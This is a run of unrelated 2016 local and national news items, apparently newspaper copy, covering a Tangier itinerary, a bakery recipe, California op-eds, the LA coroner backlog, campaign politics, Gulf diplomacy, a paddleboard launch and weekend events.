7. MEAT AND SWEET, 2 p.m.

If Jane Austen opened a Moroccan restaurant, it might resemble Cafe a lAnglaise. The twee tearoom channels the spirit of both Northanger Abbey and North Africa with its mix of European antiques (gilt-edged sofas, shelves of china) and traditional Moroccan design (geometric stained-glass panels). Run by a charming Moroccan family, the cozy spot serves up chicken tajine (a long-simmered stew with olives and candied lemon) and an even sweeter pastilla (a phyllo pastry packed with diced chicken and topped with powdered sugar and cinnamon). For dessert, the candied orange peel is a syrupy, sticky, sun-soaked delight. Lunch for two is around 250 dirhams.

8. SHOP THE CASBAH, 3:30 p.m.

The splintering lanes of the medina district beg for a GPS: Global Power Shopper. These tiny arteries are filled with stalls and stores selling artisanal goods. Rue Sebou and Rue des Almohades are havens of traditional items, but the streets in and around the casbah, the walled hilltop fortress, now brim with shops of Moorish-modern design. Rumi 1436 specializes in naturally scented soy wax candles in classic Marrakesh tea glasses. Where SoHo meets the Sahara, Las Chicas is a sprawling emporium stocked with cushions, lanterns, massage oils,tasseled towels and handbags. For big budgets, the eponymous designer Laure Welflings boutique offers kaleidoscopic velvety caftans, embroidered evening dresses and other boho-chic garments.

9. CASBAH SOCIAL CLUB, 6:30 p.m.

Follow your ears immediately next door to the unmarked storefront across from the Kasbah Museum (undergoing renovations), where live music erupts at 6:30. The tiny space, lined with embroidered banquettes, is the clubhouse of Les Fils du Detroit, a team of master musicians. The Sons of the Strait are now old enough to be grandfathers  after some 40 years of playing teardrop-shaped ouds, tubular drums and violins together  but their free nightly jam sessions always sound fresh as they meld the melodies of Morocco and Spain in an evocative Arabo-Andalusian fusion. (Donations appreciated.)

10. SULTANIC SUPPER, 8 p.m.

Whether youre planning a romantic dinner or an opulent banquet, the restaurant of the exquisite Nord-Pinus hotel can accommodate. The connected salons gleam with sultanic decor  marble columns, chiseled plaster arches, inlaid mirrors  and the kitchen turns out fine-tuned Moroccan classics. Starters include grilled sardine fillets with diced tomato and onion; entrees range from grilled and baked fish to a sublime slow-cooked joint of lamb with stewed fruits and almonds. The house red, a Moroccan vintage, is a smooth accompaniment. Dinner is 350 dirhams a person, without wine.

11. THE ARABIAN NIGHT, 10 p.m.

You half expect to glimpse Humphrey Bogart in a white dinner jacket as you enter the chic, neo-Moorish lounge of El Morocco Club, a fetching cafe-restaurant-bar. The speakeasyish space feels like a 21st-century Casablanca set teeming with international businessmen, jet-set couples and gilded Tangier youth instead of Nazis and spies. A corner D.J. spins everything from jazz to Moroccan pop, while bartenders serve up mojitos (110 dirhams) and Moroccan red wine (60 dirhams). Still awake? Direct your caravan to Morocco Palace, a classic cabaret with elaborate geometric tilework and a dance floor of flashing colored lights. The sultry dance hall glows as red as the inferno and throbs with the neo-snake-charmer beats from live electric orchestras.
Auburn University students leaving the Plains after graduation will have the opportunity to donate household items to benefit the community during the 23rd annual Check-Out for Charity May 2-8.

Students will try to top last years total of 2,368 pounds of food and 1,055 cubic yards of household items.

The event is organized by Auburn University's Auxiliary Enterprises Property Management, which is seeking volunteers both from the campus and the community to help load trucks, especially on heavy move-out days, and other duties.

Anyone interested in donating or volunteering should send an email to butleam@auburn.edu or visit the Facebook page.

The household items usually consist of everything from clothing and bedding to appliances, furniture and carpet, all of which are distributed to the Habitat for Humanity ReStore and the Salvation Army of Lee County. All food donations will be made to the local Food Bank of East Alabama, a longtime partner with Check-Out for Charity.

David Maddox, director of Auxiliary Enterprises Property Management, started the program after he observed the vast amount of usable items that were being placed in the landfill.

"The program caught on early and has grown over the years, with much of the growth directly related to the increase in the number of students housed on campus and corresponding to an increasing student interest in sustainability, Maddox said. I enjoy and appreciate the fact that so many students are willing to voluntarily donate the items to our charity partners with the end result being a great benefit to people in our community who are less fortunate than many of us.

Amy Mosley, coordinator of the program, has played a major role in making Check-Out for Charity successful over the last seven years.

Last year, Mosley worked 10 or more hours per day with the help of Student Housing employees. Together this team filled two 26-foot box trucks, two 15-foot box trucks and several pickup trucks. The charity partners provided their own trucks and staff that made numerous trips to their stores on a daily basis.

"All of these partners have an array of social services that are diverse in serving the community, Mosely said. The Salvation Army provides multiple social services, such as Meals on Wheels to disaster relief, and so on. The Food Bank provides food to families who are in need and the ReStore who is connected with Habitat for Humanity that builds homes for families.

Mosley also described how rewarding it is to see the Auburn Family come together and make these donations.

It is rewarding to know that the residents have an awareness of how beneficial their donations are to the community, Mosley said. All three of the community service programs serve the Lee County area in multiple ways and it amazing to know the Auburn University family contributed.
Eight teams -- made up of local celebrities paired with dance pros -- competed for titles including top fundraiser and dance champion. The competition raised $110,978 via donations since the team fundraising process started in October. Top fundraisers were Doc Waller and Stacey Jordan, with $25,367. Dance champions were Chris Harris and Jamie Moore, and first runners-up were Kendra and Reagan Sumner. Mandy Moore and Todd Scholl were honored for best choreography, and Earl Ketchum and Jamila Turner won Judges Choice. Money raised will benefit Exodus Ranch, I Am My Brother's Keeper, Storybook Farm and Auburn Parks and Recreation. For more on the event, please see Sunday's edition of The Opelika-Auburn News.
Belgian prosecutors charged Salah Abdeslam, a suspect in the Paris terrorist attacks in November, with attempting to murder policemen in a shootout a week before last months bombings in Brussels.

Abdeslam, who faces extradition to France over his role in the Paris attacks, escaped after the March 15 exchange of gunfire with police in the Forest borough of Brussels and was arrested three days later.

Abdeslam was charged today with attempted murder in the investigation into the shootout in Forest during which several police officers were wounded, the federal prosecutor said in a statement Thursday.

Abdeslam, 26, a Belgian-born French citizen, stands accused of assisting the Paris attackers by renting cars and hotel rooms. While connected with the Brussels suspects, he has not been charged in that case.

Prosecutors also announced the one-month extension of the detention of Mehdi Nemmouche, the suspect in the May 2014 murders at the Jewish Museum in Brussels, and of a man identified as Abid A., a presumed accomplice of Abdeslam.
Tomgirl Baking Co., known for its luscious desserts and lemon-ricotta hotcakes, closed its Huntington Beach location in early April.

Owners Jeff Littlefield and Wonyee Tom sold the lease to someone who is turning it into a pho restaurant. Reached by phone this week, Tom said she and Littlefield are retiring.

Were just going to take it easy and do some traveling, she said while vacationing in Utah.

The bakery was a dream business for the culinary couple. She was a pastry chef at Water Grill in Los Angeles; he ran the kitchen at Waterfront Beach Resort in Huntington Beach.

She started making cakes in 2005 in a Surf City beach concession. She later moved the business to a storefront on Adams in 2010.

We had a lot of loyal supporting customers, she said.

We dug out a recipe for Florentine bars the bakery shared with Register readers last fall.

Tomgirls Florentine bars

Yield: about 9 bars

Sweet dough crust:

1 stick (4 ounces) butter, room temperature

1/2 cup (3 ounces) granulated sugar

1 large egg

1 1/3 cups plus 2 tablespoons (7 1/2 ounces) all-purpose flour

All-purpose flour for dusting parchment paper

Topping:

1 1/2 cups (5 ounces) sliced almonds (not toasted)

1/3 cup (1 ounce) diced dried apricots

1 cup (2 ounces) coarsely chopped dried cranberries

1/4 cup (1 ounce) all-purpose flour

3 1/2 ounces (7 tablespoons) butter, room temperature

3/4 cup (5 ounces) granulated sugar

3 tablespoons (1 1/2 ounces) honey

1/4 cup (2 ounces) heavy whipping cream

Nonstick spray

Procedure:

1. In an electric mixer, cream butter and sugar using the paddle attachment on medium speed until thoroughly combined and creamy. Add egg and mix until well-combined. Add flour and mix until dough comes together. Shape into rectangle and enclose in plastic wrap; chill overnight or at least 2 hours.

2. Preheat oven to 350 degrees. Line a 9-by-12-inch rimmed baking sheet with parchment paper (make the parchment a little larger than the baking sheet so you will have handles later to pull it loose from the pan). Roll out dough to fit sheet on a lightly floured piece of parchment paper; place dough in prepared baking sheet (if it is too cold to roll, let it sit 10 minutes at room temperature). Bake until golden brown in preheated oven, about 15-25 minutes. Remove from oven; do not turn oven off.

3. Mix together almonds, dried fruit and flour; set aside. In a medium-large saucepan with a heavy bottom, combine butter, sugar, honey and cream. Cook on medium heat, stirring constantly with a metal spoon until you reach a light caramel color (heated to about 234 degrees). Remove from heat; quickly stir in nut mixture to combine and pour over baked crust. Using a metal spatula that has been sprayed with a nonstick cooking spray, spread topping evenly over the crust.

4. Bake in preheated oven until a bubbly caramel forms, 15-20 minutes. Remove from oven and let cool to the touch (it should still be slightly warm). Lift out of pan and cut into rectangular bars.

Source: Wonyee Tom, pastry chef and co-owner, Tomgirl Baking Co., Huntington Beach

Contact the writer: nluna@ocregister.com
It shouldnt require a team of lawyers and tens of thousands of dollars in legal expenses just to replace an aging mobile home with a new, substantially identical one in a mobile home park. But that has become the reality for individuals with mobile homes on the California coast, where they must first get a permit from an aggressive and increasingly unlawful California Coastal Commission.

Among the victims are Eric Wills and his family, who have enjoyed the Capistrano Shores Mobile Home Park in San Clemente as a second home for more than a decade. Its an enviable spot: They have an unobstructed ocean view and a beach that lies just beyond the seawall that protects theirs and their neighbors mobile homes. That seawall, protecting the mobile home park since 1960, has become a battlefield.

The Wills original mobile home was moved into Capistrano Shores in 1977; by 2015 it was uninhabitable due to mold and other deterioration. After putting the Wills through hearings and expensive studies, the commission granted a permit for a new mobile home that is the same height and width, and eight feet shorter than the old one. But there was a catch: The permit was subject to the condition that the Wills forever waive their rights to future shoreline protection of their property, including the right to maintain, repair or enhance the existing seawall.

This outrageous condition not only prevents the Wills from taking actions that may someday be needed to protect the safety and value of their home, but also violates the laws that give the commission its power. Indeed, both the California Constitution and the California Coastal Act guarantee the rights of property owners, including coastal property owners, to protect their property from natural hazards.

Thats why the Wills have resisted the unlawful demand and have taken the commission to court. On April 15, they filed a motion for judgment seeking to overturn the commissions permit ruling, in a lawsuit in Orange County Superior Court. Theyre represented, free of charge, by attorneys with the property-rights watchdog organization, Pacific Legal Foundation.

According to the Coastal Act, the commission may impose reasonable terms and conditions on permits for the purpose of mitigating harm to public resources by development.

Yet, the Wills mobile home replacement has absolutely no adverse impact on any public resource. Absent such an impact, neither the Coastal Act nor any other law allows the commission to take away the Wills rights to future shoreline protection in exchange for a permit.

In truth, the Wills are caught in the commissions larger agenda for Californias coast.

For years, the commission has reflexively opposed shoreline protection for private property wherever it can (and sometimes, as in this case, even where it has no legal authority to do so). Some commissioners think it is wrong for property owners to use man-made technology, such as seawalls, to protect against natural hazards. Instead, the commission has insisted on a controversial policy of managed retreat from the coast (i.e. managing development so that people will retreat from the coastline over time as beachfront structures become uninhabitable through erosion or sea rise.

The Wills case aims to safeguard the security and value of their property, but a win will also send a welcome message: The commission must stop illegally sacrificing the rights of ordinary Californians in the service of a dubious agenda.

Larry Salzman is an attorney with Pacific Legal Foundation and Director of PLFs Liberty Clinic at the Dale E. Fowler School of Law at Chapman University.
For most cities, we favor switching from at-large elections to district elections. But district voting should not be considered a panacea. Nor is every city with at-large council members, each elected by every voter who casts a ballot, guilty of discriminating against minorities.

With that perspective, we agree with the Costa Mesa City Councils 4-0 vote Tuesday to put before residents in November the choice of moving to a district system for the five council seats.

A major reason for shifting to such a system is population growth and an increase in diversity. Small cities with more homogenous populations may see little need to switch from at-large representation. But Costa Mesa has grown from 37,550 residents in 1960 to almost 110,000 in the 2010 U.S. Census, with 35.8 percent of them Hispanic.

Yet all cities are different. And Costa Mesa contrasts with Anaheim, whose difficult shift to districts we have supported. Disneylands home town is three times as populous as Costa Mesa; and its Hispanic population is a much larger portion, 53 percent.

As reported by the Register, Costa Mesas decision is reacting, in part, to a letter in December by Kevin Shenkman, a Malibu-based attorney. The city is seeking to avoid the expense of a lawsuit. Voting within Costa Mesa is racially polarized, resulting in minority vote dilution, and, therefore, Costa Mesas at-large elections are violative of the California Voting Rights Act of 2001, Mr. Shenkman wrote. The contrast between the significant Latino population and the complete lack of Latinos to have been elected to the City Council is telling.

However, theres no guarantee district elections will immediately result in Hispanics joining the council. Moreover, although Orange County is 20 percent Asian, nobody has a problem with 40 percent  two of five members  of the Board of Supervisors being Asian American. The real point of district elections anywhere is not to install a racial or ethnic spoils system, but to connect politicians more closely to the people they represent.

In Costa Mesa, even if a Hispanic person is not elected to the council, a district system probably would bring Hispanics needs and concerns more directly before the council.
The Los Angeles County Board of Supervisors has failed to adequately fund and staff the county coroners office, despite repeated warnings, and the inaction has led to a sobering backlog of bodies waiting for tests.

Those were the findings of a report released Thursday by the Los Angeles County Civil Grand Jury, which recommended more funding, staffing and a consolidation of two departments.

In the meantime, the Department of the Medical Examiner-Coroner is struggling to complete autopsies in 90 days, the national standard, and it may lose its accreditation, the reports authors found. An average of more than 400 bodies wait in its crypt.

The citizens of Los Angeles County expect that their dead will be treated with dignity and respect, the grand jury wrote.

Dysfunction at the coroners office has ripple effects. It threatens the coroners credibility in criminal cases and important functions are on hold, the authors wrote. Some staff are focusing on blood-alcohol tests instead of reviewing police shootings, for instance. Delays also impede public health investigations and cause financial and emotional hardships for families of the dead.

I am deeply concerned by this report, Supervisor Hilda L. Solis said in a written statement. It is obvious to me that our budget must provide the resources necessary to address these issues right away.

But former Chief Medical Examiner-Coroner Dr. Mark Fajardo, who resigned to become Riverside Countys coroner, requested more resources during the past two budget cycles and his calls went unanswered, the report said. In January 2014, he pointed out a number of high priority unmet needs without which the department will be unable to hire or sustain critical lab operations. He sounded a similar alarm for the fiscal year 2016 budget and requested 19 additional positions. Nonetheless, the Board of Supervisors provided inadequate resources and voted to approve budgets that were essentially flat those two years, the grand jury found.

Fajardo resigned last month amid the turmoil.

The recently proposed fiscal 2017 budget actually cuts the departments budget by 5 percent, to $33.6 million. County CEO Sachi Hamai hasnt ruled out increased funding. The coroners 2017 increased budget request did not contain the required justification and supporting documentation, said Al Naipo, spokesman for Supervisor Mark Ridley-Thomas. He added that the county has approved bonuses and special salaries to deal with the shortages.

But representatives for county supervisors did not respond to questions about the past funding history. Nor did they address another point raised by the grand jury  that the supervisors are meddling with the coroners office. The board requests immediate processing of selected cases on average 16 times a month, the grand jury found. This throws off the coroners priorities, the report said.

To cut the backlog, the grand jury recommended the county immediately add 21 full-time employees, including toxicologists, investigators and pathologists. Further, it suggested adding 23 additional employees to achieve typical staffing, as set by the National Association of Medical Examiners. Currently, the department has funding for 227 positions. New York and Chicago employ more key staff per capita, the grand jury found.

Also, the report suggested the county increase employee compensation and study how to retain workers and recruit for vacant positions. Currently, the departments high workload leads to burnout, the authors found.

Physical improvements could also help. The crematory needs new furnaces and a new floor, the report said. The county could open a second facility for processing bodies  somewhere in the west San Fernando Valley  and save on driving time.

Finally, consolidating the Department of the Medical Examiner-Coroner with the Office of Decedent Affairs could streamline operations, the grand jury wrote. Today, the latter is housed separately under the countys Department of Health Services. Its employees operate the county morgue at the LAC+USC Medical Center, the county crematory, and the county cemetery.

Staff writer Brenda Gazzar contributed to this report.

Contact the writer: mike.reicher@langnews.com, @mreicher on Twitter
Donald Trump says the abstruse Republican delegate system distorts the will of the people.

Sen. Ted Cruz says the partys nominating rules have been in place from the beginning.

Cruz is right, and he may be losing the public argument anyway.

With polls showing a strong preference for nominating the candidate with the most popular votes  even if he fails to secure a majority of delegates before the convention in July  Cruz has brushed up this week against an uncomfortable reality: His only road to victory is a messy one.

As he slogs through a merciless stretch of the primary calendar, straining to pick off delegates from Northeastern voters who seem disinclined to embrace his hard-line conservatism, Cruz, of Texas, has appeared increasingly frustrated amid questions about his path.

He has lashed out at Sean Hannity of Fox News, a onetime friend in conservative news media whom Cruz allies have accused of cozying up to Trump.

I cannot help that the Donald Trump campaign does not seem capable of running a lemonade stand, Cruz said in a radio interview Tuesday, after telling an angered Hannity that his questions about the delegate system were a concern only to hard-core Donald Trump supporters.

Cruz has struggled to formulate a concise argument rebutting Trumps claim that the top vote-getter deserves the nomination, alternately citing the number of former Republican presidential hopefuls now supporting him, general election polls and Trumps hard ceiling of support.

On Wednesday, Cruz told reporters at the Republican National Committees spring meeting in Florida that only Trumps loyalists believed that the candidate with the most votes should be awarded the nomination. When it was pointed out that a majority of Republican voters seemed to agree  62 percent, according to an NBC News/Wall Street Journal poll last week  Cruz largely ignored that fact.

We want to win, Republicans want to win, he said, before turning to a new talking point: Even Abraham Lincoln, the greatest Republican of them all, lagged in delegates at the outset of the partys 1860 convention.

Cruz and his aides have also chafed recently at what they view as insufficient news media attention to his success in state delegate elections  feats of organizational strength that have heightened his chances of beating Trump at a contested convention. (If no candidate wins 1,237 delegates on the first convention ballot, which largely reflects the primary and caucus votes, many delegates will be unbound and able to switch on subsequent ballots.)

At a rally in Maryland on Thursday, Cruz knocked the breathless coverage of Trumps blowout victory in New York.

Goodness gracious! he said, impersonating television networks. Donald Trump won his home state!

For the most part, the Cruz campaign has dismissed concerns about the publics perception of the nominating process, with aides questioning whether the wording of the NBC News/Wall Street Journal survey truly captured voter sentiment.

Bob Vander Plaats, an Iowa religious leader and a national chairman for Cruz, said Trumps complaints had heightened doubts about his managerial acumen.

Theyre just completely irrelevant. Theyre a waste of time and money, Vander Plaats said of the polls. It is not being stolen. Every state has their own rules. If anything, I think its an admission on Trumps part that he went into a presidential campaign without understanding the rules.

Stuart Stevens, chief strategist for Mitt Romney in 2012, said many aspects of the primary process  holding the first contests in Iowa and New Hampshire, for instance  would appear widely unpopular if posed to voters in a poll.

None of this tests well, he said. Its like a bowling league. Do the rules of bowling make sense?

But other Republicans, even those disinclined to support Trump initially, have worried about the appearance of denying Trump the nomination on technical grounds.

Anthony Scaramucci, a member of Romneys New York finance team in 2012, said his party remained in denial about its voters preferences.

Theres the spirit of something, and then theres the letter of something, he said. I was a Scott Walker supporter. And then I was a Jeb Bush supporter. So I feel like I have some level of credibility. Donald Trump may not have been my first choice, but if he is in fact the peoples choice, I think my establishment friends are making a very big mistake by not acknowledging that.

Cruz, who had argued for months that he could win a majority of delegates before the summer, has bowed to the math this week, acknowledging that a convention is his only option as he seeks to keep Trump from clinching the nomination.

Cruz has targeted Maryland and Pennsylvania, two of the five states that vote Tuesday, as potential sources of delegates, and is holding rallies in both states. But his campaign views two other contests as more critical: Indiana, which votes May 3, and California  the big enchilada, Cruz said  which votes June 7, the last day of primaries.

In a sign of Indianas importance, Cruz campaigned there Thursday, ordering a pastrami sandwich at an Indianapolis deli and quoting the movie Hoosiers at a state party dinner. He also met with Gov. Mike Pence.

The senator has warned reporters against underestimating him.

At every stage in this primary, folks in the press have reported that we couldnt win, he said in Florida, and then we won over and over and over again.
BEIJING  Clutching a bouquet of red roses from the auburn-haired foreigner who has also showered her with wine and compliments, Li thinks to herself, Having a handsome, romantic, talented foreign boyfriend is pretty nice!

What Li, a state employee, does not know is that her foreign Romeo has an ulterior motive: espionage. But the devastating truth is revealed toward the end of a 16-panel cartoon that the Beijing authorities posted in subway stations, streets and residential compounds. Caught by security officers after handing her boyfriend a disc of work secrets at his request, Li sits before two stern officers, handcuffed and sobbing: I didnt know he was a spy. I was used by him!

Despite the emphatic warnings of the tale, titled Dangerous Love, a morning on the streets of Beijing suggests it may not be having quite the impact the government hopes.

How could ordinary people know anything about state secrets? asked Liu, a resident of Wudaoying Lane in central Beijing, where one of the posters hangs on the wall of a construction site.

If even young girls know secrets, what kind of secrets are they? asked Liu, who gave only his surname and put his age at about 50, after answering a knock at his door late on a warm morning.

What?! asked a woman strolling along the lane who identified herself only as Yang. (No one who was asked about the potentially delicate topic of national security would disclose full names.) She looked unfazed when questioned about National Security Education Day.

I run a restaurant called Chi Mian, Mandarin for eat noodles, just down the lane, and we get lots of foreigners, she said. English, French, Japanese. Theyre very nice and never cause trouble, even after theyve been drinking.

A young couple who gave their names as Cheng and Zhang had not noticed the poster until reporters pointed it out.

After glancing it over, Zhang said, The cartoon is quite realistic, because you do see foreign men hitting on Chinese women, more often than foreign women hitting on Chinese men.

And actually, he said, I think a lot of young women are pretty stupid.

His girlfriend, who did not appear offended by that comment, said: I studied in Sydney. I never dated a foreigner in Australia, because Im pretty conventional.
Its the closest youll come to walking on water.

Forget the paddle. The Mirage Eclipse lets you glide on the waters surface by taking steps.

Hobie unveiled the new product  which looks like a combination of a stand-up paddleboard and StairMaster machine  two weeks ago, creating a buzz on the water as prototypes are making their way into local waters.

The Mirage will ship to retailers in May, said Ingrid Neihaus, Hobies public relations director.

The response has been like nothing weve ever seen before, Neihaus said.

The step-and-ride board sells in two models for $2,499 and $2,599. A regular stand-up paddleboard can cost between $600 and $2,000.

Mickey Munoz, a renowned surfer who was one of the early adapters of stand-up paddle about a decade ago, took the Mirage Eclipse for a spin in the Dana Point Harbor. He said its easy to use, and gives a different kind of workout than regular stand-up paddling, putting more effort into the legs.

Munoz, who is 78, demonstrated how to pull in a hand brake that helps the board turn.

Its very stable, he said. Its very simple, you can just pedal it right away.

The faster you pedal, the faster the board goes.

The Hobie brand is no stranger to innovation. Its founder, Hobie Alter, revolutionized two water inventions that would get more people onto the water.

Alter, who died in 2014, opened Southern Californias first surf shop along Pacific Coast Highway in Dana Point and was one of the first to use polyurethane foam as a substitute for a surfboard core in the late 1950s. The lighter, faster, and less expensive alternative revolutionized the sport.

He switched his focus in the late 1960s and started designing sailboats  specifically smaller boats that were more affordable to the masses at $999. The boats didnt require docking fees and could be launched from the beach. The Hobie Cat became known as the peoples boat and still is the worlds best-selling catamaran, according to the companys website.

Even after his death, the Hobie brand continues to create new products. Hobie created a kayak with pedals years ago, and the Mirage Eclipse uses technology from that design, Niehaus said.

Niehaus said people like that the Mirage is different and it works out the lower body vs. the traditional arms and torso of a paddleboard workout. The Mirage comes with hand bars, which he said are helpful for people who find SUPs too wobbly.

It lets people feel more secure, like they arent going to take a dive in the water, she said.

More info: hobiecat.com

Contact the writer: lconnelly@ocregister.com
Looking for something to do this weekend in Orange County? Here are a few options.

FRIDAY

PET EXPO: The worlds largest pet and pet product expo will have exhibits by retailers, groomers, hobbyist groups, humane societies & rescue organizations and breeders. Attendees will find dogs, cats, birds, fish, reptiles and other critters. There will be a bird show, police K-9 demonstrations and stunt shows. Friday and Sunday 10 a.m. to 6 p.m., Saturday 10 a.m. to 7 p.m. Organizers ask you to not bring your pets. OC Fair & Event Center, 88 Fair Drive, Costa Mesa. Tickets $8-$13. Active and retired military members and children under 5 are free. Information: petexpooc.org.

RODGERS & HAMMERSTEINS CINDERELLA: Tony Award-winning Broadway musical from the creators of The King and I and South Pacific is delighting audiences with its contemporary take on the classic tale. Be transported back to your childhood as you rediscover some of Rodgers & Hammersteins most beloved songs, including In My Own little Corner, Impossible/its Possible and Ten Minutes Ago, in this hilarious and romantic Broadway experience. Friday, 7:30 p.m., Saturday 2 and 7:30 p.m. and Sunday 1 and 6:30 p.m. at Segerstrom Center for the Arts, Segerstrom Hall, 600 Town Center Drive, Costa Mesa. Tickets start at $25. Information: scfta.org, 714-556-2787.

NEWPORT BEACH FILM FESTIVAL: See a new movie at the Newport Beach Film Festival, which runs now until April 28. It takes place at five venues in Newport Beach, Costa Mesa and Santa Ana: Edwards Big Newport, Regency South Coast Village, Island Cinema, The Triangle, and Studio at Sage Hill School (collegiate showcase). There are feature-length films, documentaries, retrospectives, horror, Disney rarities, short films and much more. Tickets: $15 for individual screenings (more for spotlights and other special events); $750 for an all-access pass. Information: newportbeachfilmfest.com.

SATURDAY

TASTE OF FOUNTAIN VALLEY: The 12th annual Taste of Fountain Valley, to benefit the Fountain Valley Schools Foundation, is at 5 p.m. Saturday at The Center at Founders Village, 17967 Bushard St. Diners can taste food and beverages from more than 20 eateries, wineries and breweries. Information: 714-593-4446.

COMMUNITY YARD SALE: You wont need to drive from house to house looking for garage sales. The Tustin Parks and Recreation Department is sponsoring a community yard sale 8 a.m.-noon Saturday in the Senior Center parking lot, 200 South C. St., Tustin. Information: 714-573-3321.

BOOK SIGNING: Come to the Yorba Linda Public Library on Saturday for an afternoon of discussion with New York Times bestselling author and three-time Edgar Award-winner T. Jefferson Parker. He will discuss his newest novel, Crazy Blood, and his writing inspirations. An author signing will follow the discussion. 2 p.m. 18181 Imperial Highway, Yorba Linda. Information: ylpl.net.

COSTA MESA COMMUNITY RUN: The Costa Mesa Community Run is 8:30 a.m. Saturday. Theres a 5K, 10K and a Superhero Fun Run thats less than a mile, the latter encourages folks to dress up in costume. The run raises money for city schools. Information: costamesacommunityrun.com.

THE BIG MEAL: In this hilarious and poignant Southern California premiere, you are invited on a time-bending odyssey of birth, death, divorce and dinner. When a man meets a young waitress in a local diner, neither of them knows the nearly 80 years of history that will follow. This big-hearted play tells the extraordinary story of an ordinary family. 8 p.m. Saturday at Chance Theater, Fyda-Mar Stage, 5522 E. La Palma Ave., Anaheim. Tickets are $25-$35: 714-777-3033 or chancetheater.com.

SUNDAY

JOYFULLY RINGIN IN THE RAIN: A concert featuring the South County Community Handbell Choirs will benefit Family Assistance Ministries, which is South Countys go to place for homeless and hunger prevention. 4 p.m. at St. Andrews by-the-Sea UMC, 2001 Calle Frontera, San Clemente. A free-will offering will be collected. Information: schandbell.org.

BRENT MORIN: The comedian can be seen on the hit NBC live television series Undatable, which just wrapped its third season. He has appeared on Chelsea Lately, Conan, Comedy Central, Brooklyn 99, The McCarthys and Ground Floor. He was named one of Varietys Top Ten Comics To Watch. Catch his new Netflix special Im Brent Morin, which is streaming now. 7 p.m. at Irvine Improv, 527 Spectrum Center Drive. Tickets are $20. Information: irvine.improv.com and 949-854-5455.
RIYADH, Saudi Arabia  President Barack Obama said Thursday that the United States would continue to enhance security cooperation with its allies in the Persian Gulf, while encouraging them to carry out domestic reforms and bolster their ability to defend themselves.

The comments came at the end of a two-day summit meeting here with the leaders of six Persian Gulf nations that was intended to reassure them that the United States remains committed to their security even as it pursues rapprochement with Iran.

The meeting came amid growing concerns among Saudi Arabia and its closest allies that the United States is limiting its engagement in the Middle East at a time when Iran has taken advantage of regional turmoil to spread its influence. For their part, U.S. officials have said they would like greater commitment from Gulf states in fighting terrorist groups, an effort that has become secondary to their campaign against Iranian-backed militants in Yemen.

In a series of closed-door sessions, Obama and his counterparts discussed a range of issues: The civil wars in Yemen, Syria and Libya, and the struggling efforts to end them; military and economic cooperation; and the fight against terrorist groups such as Islamic State.

Yet Obama left the Saudi capital Thursday without announcing any concrete new plans or initiatives. He spoke to the news media alone before his departure, unaccompanied by any of the other leaders.

Throughout the visit, Obama did not back away from his recent comments referring to some U.S. allies as free-riders, and said they should improve their own military capabilities.

Given the ongoing trends in the region, the United States will continue to increase our secure cooperation with our partners in the region, including increasing their own ability to defend themselves, he said.

He said the United States had serious concerns about Irans destabilizing activities in the region, but warned against confrontation.

None of our nations have an interest in conflict with Iran, he said.

Before the trip, U.S. officials said they hoped the summit meeting would build on discussions with top Persian Gulf officials that took place when Obama hosted a similar group at Camp David a year ago.

On Thursday, Benjamin J. Rhodes, the presidents deputy national security adviser, said the meetings took place during a moment of opportunity when fragile cease-fire agreements in Syria and Yemen might help persuade the Gulf states to refocus their attention on the terrorist threat in the region and the diplomatic efforts for a political transition in Syria.

There is broad agreement about where we are trying to go in the region, Rhodes said in Riyadh. What this summit allows us to do is to make sure we align our approaches and strategies.

Rhodes acknowledged that several of the Gulf nations continue to be eager to buy modern weapons systems, such as fighter jets, to augment their armed forces. He said the United States would continue to review further sales of those weapons.

But he said the Obama administration was eager to shift the focus of assistance away from big equipment and toward the development of special forces and technology to thwart the threat of cyberattacks from Islamic State and from Iran.

The large-scale weapons that the United States has sold in the past are not necessarily the capabilities that are best designed to deal with the threats that we face, Rhodes added.

But more broadly, for Obama, the meeting offered an opportunity to reassure allies in the region that the U.S. government remained steadfast in its pledge to defend against regional threats.

Obamas nuclear accord with Iran has unnerved Gulf countries, some of whom view the agreement as evidence of a shift in American interests away from them.

The summit meeting included the members of the Gulf Cooperation Council  Saudi Arabia, the United Arab Emirates, Bahrain, Qatar, Kuwait and Oman  all of which are led by hereditary rulers presiding over largely closed political systems. Obama took the opportunity call for economic reforms that would benefit all of their citizens as well as for human rights.

The meeting took place at the Diriyah Palace, which Obama entered Thursday morning, walking down a chandelier-filled hallway and past a phalanx of Saudi soldiers holding golden swords.

The president posed for photograph with the Arab leaders before taking his place at a small, round table where he chatted with Sheikh Mohammed bin Zayed Al Nahyan, the crown prince of Abu Dhabi.

Later Thursday, Obama left Saudi Arabia for London, where he was expected to have lunch with Queen Elizabeth II, dinner with Prince William and the duchess of Cambridge, and meet with Prime Minister David Cameron.
Stephen Moores rant leveled at the Natural Resources Defense Council in Dig a hole for U.S. coal [Opinion, April 17] is untethered from truth or fact.

Moore charged that the NRDC asked the EPA to slap $700 million in environmental fines against Peabody coal. That never happened.

More likely, Moore is confused by the number $700 million, which is on the low end of Peabodys self-bonding liability in Wyoming. Peabody was allowed to self-bond, or use its own assets as collateral to guarantee the company would meet the costs of cleaning up mined lands under Wyoming law. Now that Peabody has filed Chapter 11 bankruptcy papers, Wyoming and federal taxpayers have to guard against being on the hook for costs associated with reclaiming tens of thousands of acres scarred by mining  costs that will likely climb well over $700 million.

Moore blames environmental regulations for coal bankruptcies, but not even Peabody makes that claim. Peabodys collapse is due to poor business decisions and changing market conditions, as states, industry and other nations seek cleaner sources of energy to fuel economic growth and a healthy future.

Theo Spencer

New York, N.Y.

senior policy advocate, Natural Resources Defense Council

Keep Old Hickory on $20

I am saddened that President Andrew Jackson is being taken off the $20 bill in favor of Harriet Tubman. I hope this decision is reconsidered.

Some criticize Jackson for being a slave owner, but so were a lot of other early presidents.

Though I admire Tubmans achievements as an abolitionist, courageously helping to improve the black cause, Jackson was a war hero, a president who was a man of the people instead of part of the aristocracy, one of the founders of the modern Democratic Party, a strong advocate of keeping the union together and a man of honor, willing to duel a man for offending his wife.

Historians consider Jackson one of our greatest presidents, and he should thus remain on our $20 bill.

I will miss seeing his long, wavy hair on the front of the $20.

Kenneth L. Zimmerman

Huntington Beach
A Guinness World Record for the most smores being made simultaneously was set Thursday night, after 423 people roasted marshmallows, chocolate and graham cracker sandwiches were made at Huntington State Beach.

Beachgoers braved a cold wind and gathered around fire pits as the sun set for the event, put on by clothing company Hollister Co. and SeriousFun Childrens Network. The new record beat out the old one of 407 people set in May in Wisconsin.

Guinness World Record adjudicator Sarah Casson flew in from New York to make sure the record was legit. There were strict rules, including the marshmallows being roasted for at least 10 seconds, all had to be roasting at the same time and the smores had to be immediately assembled.

